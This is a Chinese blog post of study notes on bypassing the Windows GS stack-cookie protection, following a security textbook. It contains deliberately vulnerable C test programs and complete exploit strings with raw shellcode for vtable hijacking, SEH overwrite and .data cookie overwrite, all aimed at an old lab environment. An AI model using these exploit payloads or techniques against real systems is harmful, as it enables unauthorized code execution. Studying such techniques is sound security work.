0day安全 | Chapter 10 栈中的守护天使:GS

启程

在我的印象里,Linux上的GS就非常难bypass,现在终于可以学习一下Windows上的GS了!

GS安全编译选项的保护原理

在Visual Studio 2003及之后的版本中GS编译被默认启用。我们后面使用的环境是Visual Studio 2008,看一下设置页面:

GS为每个函数调用增加了一些额外的数据和操作,来检测栈溢出:

  • 函数调用发生时,向栈帧内压入一个随机DWORD,即canary。其在IDA中被标注为Security Cookie
  • Security Cookie位于EBP之前,同时系统会在.data区域存放一个Security Cookie的副本
  • 如果栈中发生溢出,则canary在EBP和返回地址之前首先被淹没
  • 在函数返回前,会执行canary安全检查:将栈中canary与.data中的副本比对,如果不一致,则进入异常处理流程

比如下面这个例子:

其对应的.data区副本:

canary的比对:

GS会导致性能下降。所以编译器对函数的GS添加操作是有条件的。以下情况不会添加GS:

  • 函数无缓冲区
  • 函数被定义为具有变量参数列表
  • 函数使用无保护关键字标记
  • 函数在第一个语句中包含内联汇编
  • 缓冲区不是8字节类型且大小不大于4字节

Vsiual Studio 2005 SP1起,可以通过在函数前添加标识来强制启用GS:

#pragma strict_gs_check(on)

另外,从Vsiual Studio 2005起,变量重排技术也被应用。即,将字符串变量移动到栈的高地址,从而防止它溢出其他的局部变量。同时还将指针参数和字符串参数复制到内存的低地址,防止函数参数被破坏。

可以对比一下有无GS的区别:

测试函数如下:

int foo(char *arg)
{
	char buf[10];
	int i;
	strcpy(buf, arg);
	return 0;
}

应用GS后:

也就是:

这样看来,我这里的情况和作者的还不太一样。不过可以看出,i被canary保护起来了,而arg也被做备份了。

在1998年,Crispin Cowan等人发表了一篇Stack Guard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks,讲述了用于gcc的stack guard技术(有10名作者在那篇优秀的文章中署名)。微软的技术就是在吸收了stack guard思想后独立开发出来的。

Canary产生细节

  • 系统以.data节的第一个双字作为Cookie种子
  • 每次程序运行时Cookie种子都不同
  • 在栈帧初始化后用EBP异或种子,作为当前函数的Cookie
  • 在函数返回前,用EBP还原出Cookie种子

目前,在程序运行时预测出Cookie并突破基本上不可能。

它的特点如下:

  • 修改栈帧中返回地址的经典攻击被GS有效遏制
  • 基于改写函数指针的攻击很难被GS防御
  • 针对异常处理的攻击很难被GS防御
  • 堆溢出很难被GS防御(它专注于防御栈溢出)

2003年9月8日,David Litchfield发表了Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server,其中列举了若干突破GS的方法,并对GS机制做出了改进建议。

另外,我发现citeseerx.ist.psu.edu用来找安全文献相当方便!

之后的实验中,我们要关闭编译优化:

利用未被保护的内存突破GS

这个思路很好理解,因为我们在上一节中指出,由于GS会影响性能,所以它只有在函数满足一定条件时才会被添加。因此即使某个程序在编译时开启了GS选项,我们依然可以寻找其中那些不满足GS条件,但是依然有缓冲区的函数,比如:

#include <string.h>

int vulfunction(char *str)
{
	char arr[4];
	strcpy(arr, str);
	return 1;
}

int main(int argc, char **argv)
{
	char *str = "yeah, the function is without GS";
	vulfunction(str);
	return 0;
}

由于vulfunction不包含4字节以上的缓冲区,所以它没有被添加GS,即使GS开启。可以通过IDA验证这一点:

如果直接运行程序,会告诉我们异常:

用VS调试:

可以发现,0x75662065正是字符串e fu,这说明返回地址成功被覆盖。

这个思路虽然简单,但也许在关键时刻很有用哦!

覆盖虚函数突破GS

在我的VS 2008中,如果使用strcpy会报警告:

warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.

可以通过如下设置解决:

本次测试的漏洞代码如下:

#include <string.h>
#include <stdio.h>

class GSVirtual{
public:
	void gsv(char *src)
	{
		char buf[200];
		strcpy(buf, src);
		vir();
	}
	virtual void vir()
	{
		printf("vir\n");
	}
};

int main()
{
	GSVirtual test;

	test.gsv(
	"\x90..."
);
	return 0;
}

可以看到,在gsv中存在栈溢出,同时也会有GS保护。但是,在gsv的最后,它调用了虚函数vir,这样一来,虚表的地址必然在它的栈帧附近,我们可以通过buf的溢出覆盖虚表,从而劫持控制流。关于劫持虚表的攻击,参照"0day安全 Chapter 6 形形色色的内存攻击技术"。以上就是整个思路。

首先,我们用Ollydbg调试程序,看一下相关信息:

我们得到以下信息:

  • main函数传递给test.gsv的实参地址是0x00402108
  • buf缓冲区首地址是0x0012FE9C,但是我们要知道,栈上的地址可能是不固定的
  • 虚表指针位于栈上0x0012FF78处,它指向0x004021EC处的虚表
  • 调用虚函数的操作实际就是去虚表取虚函数指针,然后call的过程,在上图中反汇编窗口的最下方:

我们发现0x0012FF78 - 0x0012FE9C = 220,这意味着我们填入缓冲区的内容超过220个字节后将覆盖虚表指针。这样就可以做劫持虚表的攻击。我们可以把虚表伪造在buf的开头,即把0x0012FF78处的虚表指针改写为0x00402108(在作者的环境中,main函数传递过去的实参地址是0x00402100,所以他只需要把原来的虚表指针的低位字节用shellcode最后的尾零覆盖掉即可,但我的环境中main函数传递过去的是0x00402108,因此我只能够完全覆盖原来的虚表指针)。

OK,第一个环节搞定。回头看我们得到的第四点信息:虚函数的调用最终以call eax形式出现,这意味着我们要找到一个跳板地址放在shellcode的开头,让call那个跳板后跳回我们的shellcode。现在的问题是,我们的原始参数(即main传过去的实参)本身并不在栈中,而且通过调试可以发现,当call eax的时候,也没有寄存器指向原始参数。所以普通的跳板失效。


后来更新-开始

其实在我这里,普通跳板是有效的!

为什么呢?回顾之前虚函数的调用过程:

可以发现在取指针的过程中用到了edx作为中间人。所以在call eax时,edx依然指向原始参数(我不是很清楚为什么作者那里EDX没有指向原始参数的首地址)。因此,我们完全可以找一个jmp edx

仍然需要注意地址被当作指令执行时影响shellcode的问题。选一个合适的跳板地址就好。

这样也可以攻击成功,只不过shellcode执行流程与后面的流程图描述的不一样了。

后来更新-结束


但是,此时已经完成了字符串复制,我们的shellcode已经被复制到了栈上。我们执行到call eax前看一下栈(下图右下方):

可以发现,在0x0012FE8C处存储着buf首地址,而这个位置刚好是ESP + 4!所以我们可以凭借在ROP技术中使用的PPR(pop pop ret)操作来达到跳转到buf首地址执行的目的:想象一下,当执行call eax后,返回地址被压栈,导致ESP减4,所以0x0012FE8C就变成了ESP - 8的位置。然后经过两次pop操作,ESP就指向了0x0012FE8C,这时一个ret就可以顺利回到buf首执行。

我们利用OllyFindAddr在内存中搜索一个PPR,有很多结果:

这里我选择0x7c921d04处的:

需要注意的是,这个地址首先会被当作跳板使用,但是当EIP回到buf首再次执行的时候,这个数字就被当作了指令。或许需要通过多次调试,你才能从上述众多结果中找到一个被当作指令时不会影响shellcode效果的PPR地址。

最后就是填上shellcode了。如前所述,我们总共可以使用的空间是220,这里我选用"0day安全 Chapter 3 开发shellcode的艺术"给出的通用弹窗shellcode,它是168字节,加上开头的PPR地址4字节,是172字节,所以我们还需要48个nop做填充,然后跟上main传过去的实参的地址0x00402108(最后高位的\x00用字符串尾零就好)。

shellcode的构成及攻击流程示意如下:

最终shellcode:

// pop pop ret
"\x04\x1d\x92\x7c"
// messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
// nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// shellcode in .data (0x00402108)
"\x08\x21\x40"

测试:

这种攻击方式的思想是:以优先取胜。是的,我是把栈帧覆盖掉了,我也知道当函数返回时我的行为就会被发现并阻止。但是我不仅覆盖掉了栈帧,我还覆盖掉了虚函数表指针,而那个指针在你(当前函数GS机制)发现我的行为之前就会被调用。这样一来,当前函数实际上并不会正常返回,GS机制也就拿我没有办法了。

需要注意的是,本节只是演示了一种攻击可能性,真实的环境中未必有这么多可以利用的地方,还是要因地制宜,需要动脑筋的!

攻击异常处理突破GS

GS没有为SEH提供保护,所以我们可以通过劫持SEH来控制程序流程。为了避免SafeSEH的影响,我们在Windows 2000上使用Visual Studio 2005来做实验(这也表明这种方法在之后会受到限制,未来需要同时绕过多种漏洞缓解措施)(依然要禁用编译优化,同样使用release版本)。

思路是:我们通过超长字符串覆盖掉异常处理函数指针,然后想办法触发一个异常。这样一来,就可以在程序进行cookie检查前劫持控制流。

测试代码:

#include <stdio.h>
#include <string.h>

char shellcode[] = "\x90...";

void test(char *input)
{
	char buf[200];
	strcpy(buf, input);
	//__asm INT 3
	strcat(buf, input);
}

int main(int argc, char* argv[])
{
	test(shellcode);
	return 0;
}

test函数存在栈溢出,另外由于strcpy的溢出覆盖了strcat``input参数的地址,所以会导致strcat从非法地址读取数据,继而引发异常,转入异常处理。

可以看到,的确开启了GS:

其实攻击就是普通的SEH攻击,可以参考"0day安全 Chapter 6 形形色色的内存攻击技术"。

首先下__asm INT 3然后attach调试,查看SEH,把shellcode起始地址到栈顶异常处理函数的偏移量算清楚,然后就是攻击了。比较简单,不再多说:

shellcode:

// nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

// calc
"\x31\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07"
"\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86"
"\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a"
"\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9"
"\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72"
"\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2"
"\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d"
"\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41\x67\xb4"
"\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff"
"\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e"
"\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5"
"\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e"
"\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0"
"\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd"
// shellcode_addr
"\xa0\xfe\x12";

这里使用的是shellcode的绝对地址0x0012FEA0,其实这样是不够优雅的(如果有一些跳板就好了,但是在异常发生时似乎也没有寄存器直接指向shellcode)。

测试:

正面突破GS的思路有两个:

  • 猜测cookie
  • 同时替换栈中和.data中的cookie

目前来说,第一种没有可行性。但是在特定环境下我们可以尝试第二种。当然,我们目前是针对单一技术的学习,所以不要考虑DEP/ASLR等无关紧要的东西。学习要一步一步来。

测试环境:Windows XP / Visual Studio 2008 / 禁用优化 / 开启GS / release版本。

测试代码:

#include <string.h>
#include <stdlib.h>

char shellcode[] = "\x90...";

void test(char *s, int i, char *src)
{
	char dest[200];
	if(i < 0x9995){
		char *buf = s + i;
		*buf = *src;
		*(buf + 1) = *(src + 1);
		*(buf + 2) = *(src + 2);
		*(buf + 3) = *(src + 3);
		strcpy(dest, src);
	}
}

void main()
{
	char *str = (char *)malloc(0x10000);
	test(str, 0xFFFF2FB8, shellcode);
}

test函数存在字符串数组溢出,同时i缺失单向范围限制(没有限制i > 0)。在这种特定环境下,我们可以通过if代码段内的四个赋值操作去修改.data区cookie,使用strcpy去修改栈上的cookie。

通过调试发现:

malloc返回的堆空间起始地址为0x00410048,而.data区的cookie位于0x00403000

即malloc返回的地址在cookie之上。同时test没有对i进行非负数限制,所以我们可以通过向test函数传入一个负值使得堆空间str的前4个字节被赋值给.data区的cookie,从而达到改写cookie的目的。0x00403000 - 0x00410048 = -53320 = 0xFFFF2FB8,所以我们给test传入这个负数差值。

我们知道,栈上的cookie是从.data区取出,然后与当前ebp做一次异或,再存入ebp -4的地方。我们希望把.data区的cookie设置为0x90909090,那么在栈上就应该放置0x90909090 ^ ebp,通过调试可以发现ebp是0x0012FF64

之后就是老套路了,放入一个弹窗shellcode,把各种填充和偏移都布置好。最终的shellcode构成及攻击示意:

图中黑色箭头为栈增长方向。

shellcode如下:

// cookie
"\x90\x90\x90\x90"
// messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
// nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 0x90909090 ^ ebp
"\xf4\x6f\x82\x90"
// overwrite ebp
"\x90\x90\x90\x90"
// overwrite ret (ret to shellcode_addr)
"\x94\xfe\x12";

测试:

再次说明:这里边用到了太多的绝对地址和数值(如ebp),所以这只是一个PoC,证明这种技术这种思想是可行的。

总结

本章介绍了GS的原理以及四种特定情形下突破GS的方式。

GS已经很厉害了,给缓冲区溢出增加了很大的难度。未来可以研究一下Linux下GS的原理和绕过方式。

另外,如果有格式化字符串漏洞的话是不是也可以把cookie给泄露出来?

Per Aspera Ad Astra